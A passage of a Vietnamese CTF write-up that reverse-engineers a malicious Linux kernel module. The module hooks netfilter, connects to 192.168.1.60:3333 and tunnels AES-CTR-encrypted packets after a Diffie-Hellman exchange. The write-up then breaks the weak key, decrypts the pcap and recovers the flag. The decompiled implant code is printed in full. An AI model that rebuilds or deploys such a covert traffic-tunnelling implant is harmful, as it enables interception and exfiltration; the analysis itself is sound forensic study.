0x1080020LL); if ( key_buffer ) { if ( !crypto_dh_encode_key(key_buffer, key_length, dh_params) && create_tcp_socket_connection(0xC0A8013C, 0xD05) >= 0 ) { inbound_hook_hook = process_encrypted_packet; inbound_hook_pf = 2; inbound_hook_hooknum = 0; inbound_hook_priority = 0x80000000; outbound_hook_hook = process_network_packet; outbound_hook_pf = 2; outbound_hook_hooknum = 4; outbound_hook_priority = 0x80000000; if ( !nf_register_net_hook(&init_net, &inbound_hook_hook) && !nf_register_net_hook(&init_net, &outbound_hook_hook) ) { send_socket_message(command_socket, key_buffer, key_length); } } } } return 0LL; } ``` ::: ::: spoiler process_encrypted_packet ```c= __int64 __fastcall process_encrypted_packet(__int64 a1, __int64 a2) { int v2; // eax __int64 v3; // rax int v5; // [rsp+1Ch] [rbp-4Ch] BYREF unsigned __int64 *v6; // [rsp+20h] [rbp-48h] __int64 packet_data; // [rsp+28h] [rbp-40h] int v8; // [rsp+34h] [rbp-34h] __int64 v9; // [rsp+38h] [rbp-30h] __int64 new_skb; // [rsp+40h] [rbp-28h] unsigned int v11; // [rsp+4Ch] [rbp-1Ch] __int64 packet_end; // [rsp+50h] [rbp-18h] __int64 tcp_header; // [rsp+58h] [rbp-10h] packet_end = 0LL; v11 = 0; new_skb = 0LL; v9 = 0LL; v5 = 0; tcp_header = get_tcp_header(a2); if ( tcp_header ) { v8 = *(a2 + 120); packet_data = get_packet_data(a2); v6 = (4 * (*(tcp_header + 12) >> 4) + tcp_header); packet_end = get_packet_end(a2); v11 = packet_end - v6; if ( packet_end != v6 ) { v2 = *(v6 + v11 - 4); if ( v2 == 0x86E35DE5 ) { initialize_encryption_key(v6); } else if ( v2 == 0x89E35DE5 ) { if ( lll1ll1111l111ll ) { v11 -= 4; encrypt_data_with_counter(v6, v11 - 16, (v6 + v11 - 16)); v11 -= 16; new_skb = allocate_skb(v11 + 96, 0x1080020u); if ( new_skb ) { reserve_skb_header(new_skb, 96); v3 = skb_put(new_skb, v11); csum_partial_copy_from_user(v6, v3, v11, 0LL, &v5); *(new_skb + 184) = 8; *(new_skb + 186) = 0; *(new_skb + 190) = 0; update_packet_metadata(new_skb); *(new_skb + 16) = *(a2 + 16); v9 = verify_packet_data(new_skb); if ( v9 ) netif_rx(new_skb); } } } } } return 1LL; } ``` ::: ::: spoiler process_network_packet ```c= __int64 __fastcall process_network_packet(__int64 a1, __int64 a2) { char *dest; // [rsp+28h] [rbp-28h] void *src; // [rsp+30h] [rbp-20h] unsigned int n; // [rsp+3Ch] [rbp-14h] __int64 tcp_header; // [rsp+48h] [rbp-8h] if ( !a2 ) return 1LL; if ( !verify_packet_data(a2) ) return 1LL; tcp_header = get_tcp_header(a2); if ( !tcp_header ) return 1LL; if ( __ROL2__(*(tcp_header + 2), 8) == 3333 ) return 1LL; if ( !lll1ll1111l111ll ) return 1LL; n = *(a2 + 120); src = get_packet_data(a2); dest = _kmalloc(n + 20, 0x1080020LL); if ( !dest ) return 1LL; memcpy(dest, src, n); get_random_bytes(&dest[n], 16LL); encrypt_data_with_counter(dest, n, &dest[n]); *&dest[n + 16] = 0x89E35BE5; if ( !send_socket_message(res, dest, n + 20) ) return 1LL; kfree(dest); kfree_skb(a2); return 2LL; } ``` ::: ::: spoiler encrypt_data_with_counter ```c= unsigned __int64 __fastcall encrypt_data_with_counter(__int64 a1, unsigned __int64 a2, __int64 *a3) { __int64 v4; // rdx unsigned __int64 result; // rax __int64 v6; // [rsp+18h] [rbp-30h] BYREF __int64 v7; // [rsp+20h] [rbp-28h] __int64 v8[2]; // [rsp+28h] [rbp-20h] BYREF unsigned __int64 j; // [rsp+38h] [rbp-10h] unsigned __int64 i; // [rsp+40h] [rbp-8h] v8[0] = 0LL; v8[1] = 0LL; v6 = 0LL; v7 = 0LL; j = 0LL; v4 = a3[1]; v6 = *a3; v7 = v4; for ( i = 0LL; ; i += 16LL ) { result = i; if ( i >= a2 ) break; call_object_method(l1l1llll1l1ll11l, v8, &v6); for ( j = 0LL; j <= 0xF && a2 > i + j; ++j ) *(j + i + a1) ^= *(v8 + j); for ( j = 15LL; !++*(&v6 + j); --j ) ; } return result; } ``` ::: - Do không thể debug nên mình chỉ có thể dự đoán luồng chương trình như sau: ``` - Khởi tạo giao thức Diffie-Hellman - Thiết lập TCP tại địa chỉ IP 0xC0A8013C <-> 192.168.1.60 (đổi được từ hex <-> IP) - Gửi thông tin khóa DH của giao thức - là thông tin đầu tiên được gửi đi - dòng đầu tiên - Tùy theo magic number mà thông tin được gửi sẽ khác nhau: - 0x86E35DE5: gửi thông tin khóa AES-CTR - 0x89E35DE5 và 0x89E35BE5: giao tiếp giữa client và server ``` ![image](https://hackmd.io/_uploads/SykQyC8jyl.png) - Trace theo file pcap, mình thấy dòng đầu tiên chính là khởi tạo khóa DH, dòng thứ hai là khởi tạo khóa AES-CTR, cả hai thông tin đều rõ ràng nên mình có thể decrypt toàn bộ giao tiếp giữa `client` và `server` ở dưới. - Với dòng đầu tiên, mình phân tích thành: ![image](https://hackmd.io/_uploads/rylOylRIsyl.png) ![image](https://hackmd.io/_uploads/ByzdxCIokg.png) ![image](https://hackmd.io/_uploads/ry-jJA8okg.png) - Trong đó, các thông tin có thể lấy được, dựa vào code ```python= key_size = 0x00000008 p_size = 0x00000008 g_size = 0x00000001 g = 0x02 p = 0x152e2145482f156b key = 0x0c982d0ca5314f5c ``` - Do số khá bé nên mình có thể sử dụng `discrete_log` trong sage để giải: ![image](https://hackmd.io/_uploads/Hyiw-0Usye.png) - Có được `a = 0x1275e27a22626694`, mình sẽ đi tính lại `shared_secret = pow(B, a, p)`. Trong đó, số `B` có thể lấy được từ dòng 2: ![image](https://hackmd.io/_uploads/H11fM08oyl.png) ![image](https://hackmd.io/_uploads/r1hwfRUo1x.png) - Ở đây, biến `v6 = B` và nó là 8 bytes đầu trước `0x86E35DE5`, vậy: ```python= B = 0x0498d077987c0265 shared_secret = pow(B, a, p) ``` - Tính được: ![image](https://hackmd.io/_uploads/SJzkQR8okg.png) - Theo luồng, `shared_secret` sẽ được đem đi hash SHA256 để tạo `CTR_key` cho bước AES-CTR tiếp theo: ![image](https://hackmd.io/_uploads/HJEXQCLjJg.png) - Lấy lại được `CTR_key` bằng [Cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')SHA2('256',64,160)&input=MzQ2NDNCNTNERjNFM0IwMA&oeol=CRLF): ![image](https://hackmd.io/_uploads/By2Z40Li1x.png) - Từ đó, mình đem đi giải mã toàn bộ file pcap, với `CTR_IV` được thay đổi theo từng message: ```python= from scapy.all import * from Crypto.Cipher import AES from Crypto.Util import Counter from Crypto.Util.Padding import * pp = PcapNgReader("capture.pcapng") for p in pp: if TCP in p: payload = raw(p[TCP].payload) if len(payload) < 36: continue print(payload) sig = payload[-4:] IV = payload[-20:-4] enc = payload[:-20] print(f"IV: {IV.hex()}, Enc: {enc.hex()}, Sig: {sig.hex()}\n") key = bytes.fromhex('bf98795c03cdbce091b8986cc599628ea6ba2d91b8e50443c4bb144477ce982b') ctr = Counter.new(128, initial_value=int.from_bytes(IV, byteorder='big')) cipher = AES.new(key, AES.MODE_CTR, counter=ctr) plaintext = cipher.decrypt(enc) print(plaintext.hex()) print(plaintext) print() ``` - Code mình ăn cắp của thầy `noobmannn`, yêu anh :fire:. ![image](https://hackmd.io/_uploads/HysqBRLj1g.png) - Lục trong đống message rác, mình tìm được `flag`: > ~~`PWNME{Crypt0_&_B4ndwidth_m4k3s_m3_f33l_UN83474813!!!}`~~